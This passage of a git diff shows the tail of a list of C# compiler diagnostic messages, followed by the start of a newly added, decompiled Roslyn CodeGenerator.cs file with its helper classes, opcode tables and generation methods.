'{0}' by reference + Nullability of reference types in type doesn't match implemented member '{0}'. + Unsafe code may not appear in iterators + An interceptor cannot be marked with 'UnmanagedCallersOnlyAttribute'. + The typeof operator cannot be used on a nullable reference type + The __arglist construct is valid only within a variable argument method + Type of conditional expression cannot be determined because '{0}' and '{1}' implicitly convert to one another + A possible null value may not be used for a type marked with [NotNull] or [DisallowNull] + interpolated string handlers + 'new' cannot be used with tuple type. Use a tuple literal expression instead. + Unexpected token '{0}' + The expression must be of type '{0}' to match the alternative ref value + Cannot use local variable or local function '{0}' declared in a top-level statement in this context. + '{0}': cannot derive from sealed type '{1}' + The 'ref' modifier for argument {0} corresponding to 'in' parameter is equivalent to 'in'. Consider using 'in' instead. + stackalloc in nested expressions + Debug entry point must be a definition of a method declared in the current compilation. + There is no defined ordering between fields in multiple declarations of partial struct + Assuming assembly reference '{0}' used by '{1}' matches identity '{2}' of '{3}', you may need to supply runtime policy + Nullability of reference types in return type doesn't match implemented member. + Cannot convert method group to function pointer (Are you missing a '&'?) + XML comment has a typeparam tag for '{0}', but there is no type parameter by that name + Attribute parameter '{0}' or '{1}' must be specified. + Attribute parameter '{0}' must be specified. + expression-bodied method + Cannot use primary constructor parameter '{0}' that has ref-like type inside an instance member + The CallerFilePathAttribute will have no effect because it applies to a member that is used in contexts that do not allow optional arguments + Cannot compile net modules when using /refout or /refonly. + The type '{3}' cannot be used as type parameter '{2}' in the generic type or method '{0}'. The nullable type '{3}' does not satisfy the constraint of '{1}'. Nullable types can not satisfy any interface constraints. + Badly formed XML in included comments file + Namespace '{1}' contains a definition conflicting with alias '{0}' + Invalid assembly name: {0} + An expression tree may not contain a discard. + not pattern + Argument should be passed with the 'in' keyword + Using 'is' to test compatibility with 'dynamic' is essentially identical to testing compatibility with 'Object' + Partial method '{0}' must have an implementation part because it has accessibility modifiers. + A 'using namespace' directive can only be applied to namespaces; '{0}' is a type not a namespace. Consider a 'using static' directive instead + Members of readonly field '{0}' cannot be used as a ref or out value (except in a constructor) + Command-line syntax error: Invalid Guid format '{0}' for option '{1}' + Do not use '_' to refer to the type in an is-type expression. + A default literal 'default' is not valid as a pattern. Use another literal (e.g. '0' or 'null') as appropriate. To match everything, use a discard pattern '_'. + Within cref attributes, nested types of generic types should be qualified. + The CallerLineNumberAttribute may only be applied to parameters with default values + The result of the expression is always '{0}' since a value of type '{1}' is never equal to 'null' of type '{2}' + Cannot return a value from an iterator. Use the yield return statement to return a value, or yield break to end the iteration. + Generator failed to generate source. + Expected 'disable' or 'restore' + Option '{0}' must be an absolute path. + Invalid version {0} for /subsystemversion. The version must be 6.02 or greater for ARM or AppContainerExe, and 4.00 or greater otherwise + Invalid initializer member declarator + enum generic type constraints + The pathmap option was incorrectly formatted. + Fixed size buffer type must be one of the following: bool, byte, short, int, long, char, sbyte, ushort, uint, ulong, float or double + This combination of arguments to '{0}' is disallowed because it may expose variables referenced by parameter '{1}' outside of their declaration scope + Constant value '{0}' cannot be converted to a '{1}' + Argument {0} may not be passed with the '{1}' keyword + The property or indexer '{0}' cannot be used in this context because the get accessor is inaccessible + local functions + Ref returning properties cannot be required. + tuples + extern alias + Invalid XML include element -- {0} + A nullable type parameter must be known to be a value type or non-nullable reference type unless language version '{0}' or greater is used. Consider changing the language version or adding a 'class', 'struct', or type constraint. + Alignment value has a magnitude that may result in a large formatted string + An expression tree may not contain an inline array access or conversion + The type caught or thrown must be derived from System.Exception + No source files specified + Attribute '{0}' is ignored when public signing is specified. + Fixed size buffer of length {0} and type '{1}' is too big + '{0}' cannot implement '{1}' because it is not supported by the language + Feature '{0}' is not available in C# 8.0. Please use language version {1} or greater. + Feature '{0}' is not available in C# 9.0. Please use language version {1} or greater. + Feature '{0}' is not available in C# 2. Please use language version {1} or greater. + Feature '{0}' is not available in C# 3. Please use language version {1} or greater. + Feature '{0}' is not available in C# 1. Please use language version {1} or greater. + Feature '{0}' is not available in C# 6. Please use language version {1} or greater. + Feature '{0}' is not available in C# 7.0. Please use language version {1} or greater. + Feature '{0}' is not available in C# 4. Please use language version {1} or greater. + Feature '{0}' is not available in C# 5. Please use language version {1} or greater. + Method '{0}' specifies a 'struct' constraint for type parameter '{1}', but corresponding type parameter '{2}' of overridden or explicitly implemented method '{3}' is not a non-nullable value type. + /LIB option + The Conditional attribute is not valid on '{0}' because its return type is not void + Interceptor must not have a 'this' parameter because '{0}' does not have a 'this' parameter. + type pattern + A using statement resource of type '{0}' cannot be used in async methods or async lambda expressions. + The DllImport attribute cannot be applied to a method that is generic or contained in a generic method or type. + The parameterless struct constructor must be 'public'. + Use of unassigned local variable '{0}' + A non ref-returning property or indexer may not be used as an out or ref value + Member overrides base member with multiple override candidates at run-time + Cannot return '{0}' by reference because it is a '{1}' + Skip loading types in analyzer assembly that fail due to a ReflectionTypeLoadException + Inline array element field cannot be declared as required, readonly, volatile, or as a fixed size buffer. + A method marked [DoesNotReturn] should not return. + Only one compilation unit can have top-level statements. + Parameters or locals of type '{0}' cannot be declared in async methods or async lambda expressions. + No defining declaration found for implementing declaration of partial method '{0}' + default interface implementation + Reference to type '{0}' claims it is defined in this assembly, but it is not defined in source or any added modules + Cannot pass null for friend assembly name + The default value specified will have no effect because it applies to a member that is used in contexts that do not allow optional arguments + Return value must be non-null because parameter is non-null. + Empty switch block + '{0}': an abstract type cannot be sealed or static + Introducing a 'Finalize' method can interfere with destructor invocation + The 'this' object cannot be used before all of its fields have been assigned. Consider updating to language version '{0}' to auto-default the unassigned fields. + Sequence of '@' characters is not allowed. A verbatim string or identifier can only have one '@' character and a raw string cannot have any. + Source file can only contain one file-scoped namespace declaration. + The given expression always matches the provided pattern. + You must provide an initializer in a fixed or using statement declaration + The return type for ++ or -- operator must match the parameter type or be derived from the parameter type + Invalid variance: The type parameter '{1}' must be {3} valid on '{0}'. '{1}' is {2}. + Required members are not allowed on the top level of a script or submission. + '{0}': user-defined conversions to or from the dynamic type are not allowed + AppConfigPath must be absolute. + Field-targeted attributes on auto-properties are not supported in language version {0}. Please use language version {1} or greater. + '{0}': abstract event cannot use event accessor syntax + The attribute [EnumeratorCancellation] cannot be used on multiple parameters + Use of member of result of '{0}' in this context may expose variables referenced by parameter '{1}' outside of their declaration scope + The CallerFilePathAttribute applied to parameter '{0}' will have no effect. It is overridden by the CallerLineNumberAttribute. + Possible mistaken empty statement + lambda attributes + A lambda expression with attributes cannot be converted to an expression tree + The type '{3}' cannot be used as type parameter '{2}' in the generic type or method '{0}'. There is no boxing conversion or type parameter conversion from '{3}' to '{1}'. + Badly formed XML in included comments file -- '{0}' + Relational patterns may not be used for a floating-point NaN. + Auto-implemented properties must override all accessors of the overridden property. + Keyword 'enum' cannot be used as a constraint. Did you mean 'struct, System.Enum'? + Sub-expression cannot be used in an argument to nameof. + Branches of a ref conditional operator cannot refer to variables with incompatible declaration scopes + A fixed size buffer field must have the array size specifier after the field name + function pointer + #warning directive + No overload for method '{0}' takes {1} arguments + Cannot apply indexing with [] to an expression of type '{0}' + The #line directive value is missing or out of range + Attribute parameter 'SizeConst' must be specified. + '{0}' is not a valid constraint. A type used as a constraint must be an interface, a non-sealed class or a type parameter. + Ambiguous reference in cref attribute: '{0}'. Assuming '{1}', but could have also matched other overloads including '{2}'. + Class '{0}' cannot have multiple base classes: '{1}' and '{2}' + '{0}' overrides Object.Equals(object o) but does not override Object.GetHashCode() + Interceptor cannot have a 'null' file path. + Unnecessary using directive. + Could not find an accessible '{0}' method with the expected signature: a static method with a single parameter of type 'ReadOnlySpan<{1}>' and return type '{2}'. + The name '{0}' does not exist in the current context + No enclosing loop out of which to break or continue + Explicit interface implementation '{0}' matches more than one interface member. Which interface member is actually chosen is implementation-dependent. Consider using a non-explicit implementation instead. + Nullability of reference types in type of parameter '{0}' doesn't match implemented member '{1}' (possibly because of nullability attributes). + Reference to undefined entity '{0}'. + XML comment has badly formed XML -- '{0}' + Properties which return by reference must have a get accessor + Members attributed with 'ObsoleteAttribute' should not be required unless the containing type is obsolete or all constructors are obsolete. + Inconsistent accessibility: base interface '{1}' is less accessible than interface '{0}' + An expression tree may not contain an anonymous method expression + lambda expression + Parameter is captured into the state of the enclosing type and its value is also passed to the base constructor. The value might be captured by the base class as well. + Type or namespace definition, or end-of-file expected + Unterminated string literal + Invalid constraint type. A type used as a constraint must be an interface, a non-sealed class or a type parameter. + The second operand of an 'is' or 'as' operator may not be a static type + Expression will always cause a System.NullReferenceException because the type's default value is null + UnscopedRefAttribute cannot be applied to an interface implementation. + Neither 'is' nor 'as' is valid on pointer types + Type parameter has the same name as the type parameter from outer type + Not enough quotes for raw string literal. + '{0}': CLS-compliant interfaces must have only CLS-compliant members + An anonymous method expression cannot be converted to an expression tree + Source file specified multiple times + Incorrect syntax was used in a comment. + An extension Add method is not supported for a collection initializer in an expression lambda. + The '{0}' attribute is valid only on an indexer that is not an explicit interface member declaration + '{0}' is not an attribute class + The type cannot be used as type parameter in the generic type or method. Nullability of type argument doesn't match 'notnull' constraint. + Cannot use anonymous type in a constant expression + Expressions and statements can only occur in a method body + '{0}' type is not valid for 'using static'. Only a class, struct, interface, enum, delegate, or namespace can be used. + Type of '{0}' is not CLS-compliant + Operator '{0}' is ambiguous on operands '{1}' and '{2}' + Argument type '{0}' is not CLS-compliant + The params parameter must be a single dimensional array + The entry point of the program is global code; ignoring '{0}' entry point. + Cannot call an abstract base member: '{0}' + Cannot convert null to type parameter '{0}' because it could be a non-nullable value type. Consider using 'default({0})' instead. + Feature is not part of the standardized ISO C# language specification, and may not be accepted by other compilers + '&' on method groups cannot be used in expression trees + The type of a local declared in a fixed statement cannot be a function pointer type. + Given {0} parameter types and {1} parameter ref kinds. These arrays must have the same length. + Cannot return a member of local '{0}' by reference because it is not a ref local + Non-nullable field must contain a non-null value when exiting constructor. Consider declaring as nullable. + '{0}' has no base class and cannot call a base constructor + The best overloaded method match for '{0}' has wrong signature for the initializer element. The initializable Add must be an accessible instance method. + Public signing was specified and requires a public key, but no public key was specified. + Nullability of reference types in type of parameter doesn't match implicitly implemented member (possibly because of nullability attributes). + Nullability of reference types in return type doesn't match implemented member '{0}' (possibly because of nullability attributes). + ) expected + Source file '{0}' could not be found. + property + Invalid '{0}' value: '{1}' for C# {2}. Please use language version '{3}' or greater. + Cannot return '{0}' by reference because it is read-only + Cannot use an extension method with a receiver as the target of a '&' operator. + The CallerArgumentExpressionAttribute applied to parameter '{0}' will have no effect. It is overridden by the CallerFilePathAttribute. + Anonymous function converted to a void returning delegate cannot return a value + It is not legal to use the type 'dynamic' in a pattern. + Cannot use {0} '{1}' as a ref or out value because it is a readonly variable + Destructors and object.Finalize cannot be called directly. Consider calling IDisposable.Dispose if available. + '{0}' cannot implement interface member '{1}' in type '{2}' because the target runtime doesn't support static abstract members in interfaces. + Cannot intercept method '{0}' with interceptor '{1}' because the signatures do not match. + Too many characters in character literal + SyntaxTree is not part of the compilation + Different #pragma checksum values given + SecurityAction value '{0}' is invalid for PrincipalPermission attribute + Bad array declarator: To declare a managed array the rank specifier precedes the variable's identifier. To declare a fixed size buffer field, use the fixed keyword before the field type. + Partial declarations of '{0}' must have the same type parameter names and variance modifiers in the same order + '{0}' cannot derive from special class '{1}' + Since '{0}' is an async method that returns '{1}', a return keyword must not be followed by an object expression + Cannot use '{0}' as a ref or out value because it is read-only + Object or collection initializer implicitly dereferences possibly null member '{0}'. + Could not find an implementation of the query pattern for source type '{0}'. '{1}' not found. + The CallerMemberNameAttribute may only be applied to parameters with default values + Type conflicts with imported namespace + XML comment has a param tag for '{0}', but there is no parameter by that name + Type parameter has the same type as the type parameter from outer method. + Parameter '{0}' is not explicitly provided, but is used as an argument to the interpolated string handler conversion on parameter '{1}'. Specify the value of '{0}' before '{1}'. + Missing XML comment for publicly visible type or member + The assembly '{0}' containing type '{1}' references .NET Framework, which is not supported. + Comparison to integral constant is useless; the constant is outside the range of the type + The type cannot be used as type parameter in the generic type or method. Nullability of type argument doesn't match constraint type. + Type defines operator == or operator != but does not override Object.GetHashCode() + Attribute will be ignored in favor of the instance appearing in source + Source file '{0}' could not be opened -- {1} + Attribute '{0}' is not valid on this declaration type. It is only valid on '{1}' declarations. + An expression tree may not contain a null coalescing assignment + A local or parameter named '{0}' cannot be declared in this scope because that name is used in an enclosing local scope to define a local or parameter + '{0}' is of type '{1}'. A default parameter value of a reference type other than string can only be initialized with null + Cannot embed interop types from assembly '{0}' because it is missing either the '{1}' attribute or the '{2}' attribute. + Nullability of reference types in type of parameter '{0}' of '{1}' doesn't match the target delegate '{2}' (possibly because of nullability attributes). + Constraint type '{0}' is not CLS-compliant + An interpolated string handler construction cannot use dynamic. Manually construct an instance of '{0}'. + Static field or property '{0}' cannot be assigned in an object initializer + Duplicate '{0}' attribute + Attribute '{0}' is only valid on classes derived from System.Attribute + The branches of the ref conditional operator refer to variables with incompatible declaration scopes + Unexpected character sequence '...' + Nullability in constraints for type parameter '{0}' of method '{1}' doesn't match the constraints for type parameter '{2}' of interface method '{3}'. Consider using an explicit interface implementation instead. + Comparing with null of struct type always produces 'false' + The RequiredAttribute attribute is not permitted on C# types + Only 65534 locals, including those generated by the compiler, are allowed + A volatile field should not normally be used as a ref or out value, since it will not be treated as volatile. There are exceptions to this, such as when calling an interlocked API. + Nullability of reference types in type doesn't match overridden member. + Cannot embed interop type '{0}' found in both assembly '{1}' and '{2}'. Consider setting the 'Embed Interop Types' property to false. + path is too long or invalid + '{1} {0}' has the wrong return type + Member must have a non-null value when exiting in some condition. + Nullability of reference types in type of parameter '{0}' doesn't match implemented member '{1}'. + Type does not implement the collection pattern; member has the wrong signature + async main + Member '{0}' was not found on type '{1}' from assembly '{2}'. + End tag was not expected at this location. + '{1}': cannot derive from static class '{0}' + Methods attributed with 'UnmanagedCallersOnly' cannot have generic type parameters and cannot be declared in a generic type. + Accessing a member on '{0}' may cause a runtime exception because it is a field of a marshal-by-reference class + Expected expression + Friend access was granted by '{0}', but the public key of the output assembly ('{1}') does not match that specified by the InternalsVisibleTo attribute in the granting assembly. + '{0}' is a type not supported by the language + Module initializer method '{0}' must be static, and non-virtual, must have no parameters, and must return 'void' + Method '{0}' with an iterator block must be 'async' to return '{1}' + Expression must be implicitly convertible to Boolean or its type '{0}' must define operator '{1}'. + Object can be disposed more than once + The CallerMemberNameAttribute applied to parameter '{0}' will have no effect. It is overridden by the CallerLineNumberAttribute. + Assembly reference is invalid and cannot be resolved + The parameter type for ++ or -- operator must be the containing type + Use of possibly unassigned auto-implemented property '{0}'. Consider updating to language version '{1}' to auto-default the property. + Converting null literal or possible null value to non-nullable type. + No value for RuntimeMetadataVersion found + An object reference is required for the non-static field, method, or property '{0}' + Cannot return by reference a member of parameter '{0}' through a ref parameter; it can only be returned in a return statement + Type or member cannot be marked as CLS-compliant because the assembly does not have a CLSCompliant attribute + The AsyncMethodBuilder attribute is disallowed on anonymous methods without an explicit return type. + Converting method group to non-delegate type + '{0}': return type must be '{2}' to match overridden member '{1}' + A using variable cannot be used directly within a switch section (consider using braces). + Submission can have at most one syntax tree. + No overload for '{0}' matches delegate '{1}' + Identifier '{0}' is ambiguous between type '{1}' and parameter '{2}' in this context. + Invalid type for parameter in XML comment cref attribute + The name '{0}' does not identify tuple element '{1}'. + Cannot specify the DefaultMember attribute on a type containing an indexer + Warning level must be zero or greater + expression-bodied indexer + Local function '{0}' must declare a body because it is not marked 'static extern'. + Parameter {0} has default value '{1:10}' in lambda but '{2:10}' in the target delegate type. + '{0}': cannot derive from the dynamic type + Partial method '{0}' must have accessibility modifiers because it has a non-void return type. + An expression tree lambda may not contain a coalescing operator with a null or default literal left-hand side + '{0}': type used in an asynchronous using statement must be implicitly convertible to 'System.IAsyncDisposable' or implement a suitable 'DisposeAsync' method. + Syntax error, '{0}' expected + '{2}' cannot satisfy the 'new()' constraint on parameter '{1}' in the generic type or or method '{0}' because '{2}' has required members. + The switch expression does not handle some values of its input type (it is not exhaustive) involving an unnamed enum value. For example, the pattern '{0}' is not covered. + Argument of type '{0}' cannot be used for parameter '{2}' of type '{1}' in '{3}' due to differences in the nullability of reference types. + Not a recognized attribute location + Use of result of '{0}' in this context may expose variables referenced by parameter '{1}' outside of their declaration scope + Element initializer cannot be empty + Call to non-readonly member '{0}' from a 'readonly' member results in an implicit copy of '{1}'. + The type of the expression in the {0} clause is incorrect. Type inference failed in the call to '{1}'. + exception filter + At least one top-level statement must be non-empty. + Partial method declarations of '{0}' have inconsistent constraints for type parameter '{1}' + \ No newline at end of file diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/CodeGenerator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/CodeGenerator.cs new file mode 100644 index 0000000..cfd953b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CodeGen/CodeGenerator.cs @@ -0,0 +1,6901 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection.Metadata; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.CodeGen; + +internal sealed class CodeGenerator +{ + private enum IndirectReturnState : byte + { + NotNeeded, + Needed, + Emitted + } + + private enum ArrayInitializerStyle + { + Element, + Block, + Mixed + } + + private readonly struct IndexDesc(int index, ImmutableArray initializers) + { + public readonly int Index = index; + + public readonly ImmutableArray Initializers = initializers; + } + + private class EmitCancelledException : Exception + { + } + + private enum UseKind + { + Unused, + UsedAsValue, + UsedAsAddress + } + + private sealed class IsConditionalConstrainedCallThatMustUseTempForReferenceTypeReceiverWalker : BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + private readonly BoundLoweredConditionalAccess _conditionalAccess; + + private bool? _result; + + private IsConditionalConstrainedCallThatMustUseTempForReferenceTypeReceiverWalker(BoundLoweredConditionalAccess conditionalAccess) + { + _conditionalAccess = conditionalAccess; + } + + public static bool Analyze(BoundLoweredConditionalAccess conditionalAccess) + { + IsConditionalConstrainedCallThatMustUseTempForReferenceTypeReceiverWalker isConditionalConstrainedCallThatMustUseTempForReferenceTypeReceiverWalker = new IsConditionalConstrainedCallThatMustUseTempForReferenceTypeReceiverWalker(conditionalAccess); + isConditionalConstrainedCallThatMustUseTempForReferenceTypeReceiverWalker.Visit(conditionalAccess.WhenNotNull); + return isConditionalConstrainedCallThatMustUseTempForReferenceTypeReceiverWalker._result == true; + } + + public override BoundNode Visit(BoundNode node) + { + if (_result.HasValue) + { + return null; + } + return base.Visit(node); + } + + protected override void VisitReceiver(BoundCall node) + { + if (node.ReceiverOpt is BoundConditionalReceiver { Id: var id } && id == _conditionalAccess.Id) + { + _result = !IsSafeToDereferenceReceiverRefAfterEvaluatingArguments(node.Arguments); + } + } + + public override BoundNode VisitConditionalReceiver(BoundConditionalReceiver node) + { + if (node.Id == _conditionalAccess.Id) + { + _result = false; + return null; + } + return base.VisitConditionalReceiver(node); + } + } + + private enum CallKind + { + Call, + CallVirt, + ConstrainedCallVirt + } + + private class FinallyCloner : BoundTreeRewriterWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + private Dictionary _labelClones; + + private FinallyCloner() + { + } + + public static BoundBlock MakeFinallyClone(BoundTryStatement node) + { + return (BoundBlock)new FinallyCloner().Visit(node.FinallyBlockOpt); + } + + public override BoundNode VisitLabelStatement(BoundLabelStatement node) + { + return node.Update(GetLabelClone(node.Label)); + } + + public override BoundNode VisitGotoStatement(BoundGotoStatement node) + { + GeneratedLabelSymbol labelClone = GetLabelClone(node.Label); + BoundExpression caseExpressionOpt = node.CaseExpressionOpt; + BoundLabel labelExpressionOpt = node.LabelExpressionOpt; + return node.Update(labelClone, caseExpressionOpt, labelExpressionOpt); + } + + public override BoundNode VisitConditionalGoto(BoundConditionalGoto node) + { + GeneratedLabelSymbol labelClone = GetLabelClone(node.Label); + BoundExpression condition = node.Condition; + return node.Update(condition, node.JumpIfTrue, labelClone); + } + + public override BoundNode VisitSwitchDispatch(BoundSwitchDispatch node) + { + BoundExpression expression = node.Expression; + GeneratedLabelSymbol labelClone = GetLabelClone(node.DefaultLabel); + ArrayBuilder<(ConstantValue, LabelSymbol)> instance = ArrayBuilder<(ConstantValue, LabelSymbol)>.GetInstance(); + ImmutableArray<(ConstantValue, LabelSymbol)>.Enumerator enumerator = node.Cases.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (item, label) = enumerator.Current; + instance.Add((item, (LabelSymbol)GetLabelClone(label))); + } + LengthBasedStringSwitchData lengthBasedStringSwitchDataOpt = node.LengthBasedStringSwitchDataOpt; + if (lengthBasedStringSwitchDataOpt != null) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/CodeGen/EmitStatement.cs", 1965); + } + return node.Update(expression, instance.ToImmutableAndFree(), labelClone, lengthBasedStringSwitchDataOpt); + } + + public override BoundNode VisitExpressionStatement(BoundExpressionStatement node) + { + return node; + } + + private GeneratedLabelSymbol GetLabelClone(LabelSymbol label) + { + Dictionary dictionary = _labelClones; + if (dictionary == null) + { + dictionary = (_labelClones = new Dictionary()); + } + if (!dictionary.TryGetValue(label, out var value)) + { + value = new GeneratedLabelSymbol("cloned_" + label.Name); + dictionary.Add(label, value); + } + return value; + } + } + + [CompilerGenerated] + private static class _003C_003EO + { + public static Func _003C0_003E__isSafeToDereferenceReceiverRefAfterEvaluatingArgument; + + public static GetStringHashCode _003C1_003E__ComputeStringHash; + } + + private readonly MethodSymbol _method; + + private readonly SyntaxNode _methodBodySyntaxOpt; + + private readonly BoundStatement _boundBody; + + private readonly ILBuilder _builder; + + private readonly PEModuleBuilder _module; + + private readonly BindingDiagnosticBag _diagnostics; + + private readonly ILEmitStyle _ilEmitStyle; + + private readonly bool _emitPdbSequencePoints; + + private readonly HashSet _stackLocals; + + private ArrayBuilder _expressionTemps; + + private int _tryNestingLevel; + + private readonly SynthesizedLocalOrdinalsDispenser _synthesizedLocalOrdinals = new SynthesizedLocalOrdinalsDispenser(); + + private int _uniqueNameId; + + private static readonly object s_returnLabel = new object(); + + private int _asyncCatchHandlerOffset = -1; + + private ArrayBuilder _asyncYieldPoints; + + private ArrayBuilder _asyncResumePoints; + + private IndirectReturnState _indirectReturnState; + + private PooledDictionary _savedSequencePoints; + + private LocalDefinition _returnTemp; + + private bool _sawStackalloc; + + private int _recursionDepth; + + private static readonly ILOpCode[] s_compOpCodes = new ILOpCode[12] + { + ILOpCode.Clt, + ILOpCode.Cgt, + ILOpCode.Cgt, + ILOpCode.Clt, + ILOpCode.Clt_un, + ILOpCode.Cgt_un, + ILOpCode.Cgt_un, + ILOpCode.Clt_un, + ILOpCode.Clt, + ILOpCode.Cgt_un, + ILOpCode.Cgt, + ILOpCode.Clt_un + }; + + private const int IL_OP_CODE_ROW_LENGTH = 4; + + private static readonly ILOpCode[] s_condJumpOpCodes = new ILOpCode[24] + { + ILOpCode.Blt, + ILOpCode.Ble, + ILOpCode.Bgt, + ILOpCode.Bge, + ILOpCode.Bge, + ILOpCode.Bgt, + ILOpCode.Ble, + ILOpCode.Blt, + ILOpCode.Blt_un, + ILOpCode.Ble_un, + ILOpCode.Bgt_un, + ILOpCode.Bge_un, + ILOpCode.Bge_un, + ILOpCode.Bgt_un, + ILOpCode.Ble_un, + ILOpCode.Blt_un, + ILOpCode.Blt, + ILOpCode.Ble, + ILOpCode.Bgt, + ILOpCode.Bge, + ILOpCode.Bge_un, + ILOpCode.Bgt_un, + ILOpCode.Ble_un, + ILOpCode.Blt_un + }; + + private LocalDefinition LazyReturnTemp + { + get + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + LocalDefinition val = _returnTemp; + if (val == null) + { + LocalSlotConstraints val2 = (LocalSlotConstraints)(((int)_method.RefKind != 0) ? 1 : 0); + SyntaxNode methodBodySyntaxOpt = _methodBodySyntaxOpt; + if ((int)_ilEmitStyle == 0 && methodBodySyntaxOpt != null) + { + int num = _method.CalculateLocalSyntaxOffset(LambdaUtilities.GetDeclaratorPosition(methodBodySyntaxOpt), methodBodySyntaxOpt.SyntaxTree); + SynthesizedLocal synthesizedLocal = new SynthesizedLocal(_method, _method.ReturnTypeWithAnnotations, (SynthesizedLocalKind)21, methodBodySyntaxOpt, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0); + val = _builder.LocalSlotManager.DeclareLocal(((PEModuleBuilder)_module).Translate(synthesizedLocal.Type, methodBodySyntaxOpt, ((BindingDiagnosticBag)_diagnostics).DiagnosticBag), (ILocalSymbolInternal)(object)synthesizedLocal, (string)null, synthesizedLocal.SynthesizedKind, new LocalDebugId(num, 0), SynthesizedLocalKindExtensions.PdbAttributes(synthesizedLocal.SynthesizedKind), val2, ImmutableArray.Empty, ImmutableArray.Empty, false); + } + else + { + val = AllocateTemp(_method.ReturnType, _boundBody.Syntax, val2); + } + _returnTemp = val; + } + return val; + } + } + + private bool EnableEnumArrayBlockInitialization => ((PEModuleBuilder)_module).Compilation.EnableEnumArrayBlockInitialization; + + public CodeGenerator(MethodSymbol method, BoundStatement boundBody, ILBuilder builder, PEModuleBuilder moduleBuilder, BindingDiagnosticBag diagnostics, OptimizationLevel optimizations, bool emittingPdb) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Invalid comparison between Unknown and I4 + _method = method; + _boundBody = boundBody; + _builder = builder; + _module = moduleBuilder; + _diagnostics = diagnostics; + if (!method.GenerateDebugInfo) + { + _ilEmitStyle = (ILEmitStyle)2; + } + else if ((int)optimizations == 0) + { + _ilEmitStyle = (ILEmitStyle)0; + } + else + { + _ilEmitStyle = (ILEmitStyle)(IsDebugPlus() ? 1 : 2); + } + _emitPdbSequencePoints = emittingPdb && method.GenerateDebugInfo; + try + { + _boundBody = Optimizer.Optimize(boundBody, (int)_ilEmitStyle != 2, out _stackLocals); + } + catch (BoundTreeVisitor.CancelledByStackGuardException ex) + { + ex.AddAnError(diagnostics); + _boundBody = boundBody; + } + SourceMemberMethodSymbol sourceMemberMethodSymbol = method as SourceMemberMethodSymbol; + (BlockSyntax blockBody, ArrowExpressionClauseSyntax arrowBody) obj = sourceMemberMethodSymbol?.Bodies ?? default((BlockSyntax, ArrowExpressionClauseSyntax)); + BlockSyntax item = obj.blockBody; + ArrowExpressionClauseSyntax item2 = obj.arrowBody; + _methodBodySyntaxOpt = (SyntaxNode)(object)(item ?? item2 ?? sourceMemberMethodSymbol?.SyntaxNode); + } + + private bool IsDebugPlus() + { + return ((CompilationOptions)((PEModuleBuilder)_module).Compilation.Options).DebugPlusMode; + } + + private bool IsPeVerifyCompatEnabled() + { + return ((PEModuleBuilder)_module).Compilation.IsPeVerifyCompatEnabled; + } + + internal static bool IsStackLocal(LocalSymbol local, HashSet stackLocalsOpt) + { + return stackLocalsOpt?.Contains(local) ?? false; + } + + private bool IsStackLocal(LocalSymbol local) + { + return IsStackLocal(local, _stackLocals); + } + + public void Generate(out bool hasStackalloc) + { + GenerateImpl(); + hasStackalloc = _sawStackalloc; + } + + public void Generate(out int asyncCatchHandlerOffset, out ImmutableArray asyncYieldPoints, out ImmutableArray asyncResumePoints, out bool hasStackAlloc) + { + GenerateImpl(); + hasStackAlloc = _sawStackalloc; + asyncCatchHandlerOffset = (((BindingDiagnosticBag)_diagnostics).HasAnyErrors() ? (-1) : _builder.GetILOffsetFromMarker(_asyncCatchHandlerOffset)); + ArrayBuilder asyncYieldPoints2 = _asyncYieldPoints; + ArrayBuilder asyncResumePoints2 = _asyncResumePoints; + if (asyncYieldPoints2 == null || ((BindingDiagnosticBag)_diagnostics).HasAnyErrors()) + { + asyncYieldPoints = ImmutableArray.Empty; + asyncResumePoints = ImmutableArray.Empty; + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + int count = asyncYieldPoints2.Count; + for (int i = 0; i < count; i++) + { + int iLOffsetFromMarker = _builder.GetILOffsetFromMarker(asyncYieldPoints2[i]); + int iLOffsetFromMarker2 = _builder.GetILOffsetFromMarker(asyncResumePoints2[i]); + if (iLOffsetFromMarker > 0) + { + instance.Add(iLOffsetFromMarker); + instance2.Add(iLOffsetFromMarker2); + } + } + asyncYieldPoints = instance.ToImmutableAndFree(); + asyncResumePoints = instance2.ToImmutableAndFree(); + asyncYieldPoints2.Free(); + asyncResumePoints2.Free(); + } + + private void GenerateImpl() + { + SetInitialDebugDocument(); + if (_emitPdbSequencePoints && 